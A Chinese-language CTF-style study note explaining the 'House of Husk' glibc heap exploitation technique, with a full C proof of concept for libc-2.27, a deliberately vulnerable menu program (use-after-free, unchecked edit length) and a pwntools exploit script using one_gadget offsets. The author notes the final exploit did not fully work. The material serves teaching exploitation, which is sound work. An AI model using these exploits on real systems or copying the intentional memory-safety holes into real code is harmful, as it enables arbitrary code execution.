本文的学习自:

House of Husk源码例题 - blog at gets

关于house of husk的学习总结 | ZIKH26’s Blog

利用手法

printf 函数通过检查 __printf_function_table 是否为空,来判断是否有自定义的格式化字符,如果判定为有的话,则会去执行 __printf_arginfo_table[spec] 处的函数指针

我们改写__printf_function_table里面的值不为空,再改写__printf_arginfo_table[spec]处的值为one_gadgets

示例

poc 源自 https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/*
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
gcc poc.c -o poc -no-pie -g
*/
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0738
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a2fc

int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL); // make printf quiet

/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lx\n", libc_base);

/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//now __printf_arginfo_table['X'] = one_gadget;
//*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */

/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]);// __printf_function_table => a heap_addr which is not NULL
free(a[2]);// => one_gadget

/* ignite! */
printf("%X", 0);

return 0;
}

注意要再ubuntu18.04的版本

1
2
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
  • 将目标偏移(如 PRINTF_FUNCTABLE - MAIN_ARENA)转换为堆块大小。

通过分配特定大小的堆块,使得:

  • a[1] 的地址 = libc_base + PRINTF_FUNCTABLE
  • a[2] 的地址 = libc_base + PRINTF_ARGINFO

这样当释放 a[1]a[2] 到 fastbin 时,它们的地址会被写入 __printf_function_table__printf_arginfo_table

2. 实现方法

  • 利用 offset2size 宏将目标偏移转换为堆块大小。
  • 堆管理器根据请求的大小分配内存,使堆块地址与目标全局变量地址对齐。

这里解释一下,因为后面我们会改写GLOBAL_MAX_FAST使得所有的堆快的被释放是都会进入fastbin指针,原来只有0x80的大小肯定是不够的,我们通过offset2size计算溢出就可以达到指定位置写入对应的值

  • 公式:size = (目标偏移) * 2 - 0x10
    例如,若 PRINTF_FUNCTABLE - MAIN_ARENA = 0x3f0738 - 0x3ebc40 = 0x4af8,则 size = 0x4af8 * 2 - 0x10 = 0x95f0
  • 目的:使得 a[1]a[2] 的地址正好对应 __printf_function_table__printf_arginfo_table
  • 简单来说就是使得a[idx]的地址正好对应的就是__printf_function_table__printf_arginfo_table

image-20250325223911280

image-20250325223959747

1
2
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */

改写fastbin放入的地址可以很大,这是这一整个实验的基本条件实现

例题

题目和脚本来自House of Husk源码例题 - blog at gets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
int choice = get_num();
switch (choice) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
printf("invalid choice %d.\n", choice);
}
}
}

就是通过unsortbin attack改GLOBAL_MAX_FAST

接着按照上面的手法改写 __printf_function_table__printf_arginfo_table,实现执行one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
io = process("./demo2")
elf= ELF('./demo2')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")
def debug():
gdb.attach(io)
pause()
def add(index, size):
io.sendafter("choice:", "1")
io.sendafter("index:", str(index))
io.sendafter("size:", str(size))
def free(index):
io.sendafter("choice:", "2")
io.sendafter("index:", str(index))
def edit(index, content):
io.sendafter("choice:", "3")
io.sendafter("index:", str(index))
io.sendafter("length:", str(len(content)))
io.sendafter("content:", content)
def show(index):
io.sendafter("choice:", "4")
io.sendafter("index:", str(index))

ogg=[0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]

add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
add(4, (0x7ffff7e1b8b0 - (0x7ffff7e1ac80+ 0x10)) * 2 + 0x10)
add(5, 0x18)
add(6, (0x7ffff7e1c9c8 - (0x7ffff7e1ac80+ 0x10)) * 2 + 0x10)
add(7, 0x18)
free(2)
show(2)
io.recv()
libc.address = u64((io.recv(6)).ljust(8, b"\x00"))-0x21ace0
print(hex(libc.address))




add(10, 0x500)
edit(2, p64(0) * 3 + p64(libc.address+0x221500 - 0x20))
free(0)

add(10, 0x500)
one_gadget =ogg[6] + libc.address

lg('one_gadget',one_gadget)

edit(4, (ord('d') * 8 - 0x10) * b'\x00' + p64(one_gadget))
free(4)
free(6)

# gdb.attach(io)
# pause()
io.sendafter("choice:", "aaa")
io.interactive()

执行了execute函数,但是参数不对,由于本题的学习的思路及目的已经完成,就没接着去想着怎么改好参数了(其实是调试失败,遂放弃)

image-20250328224351057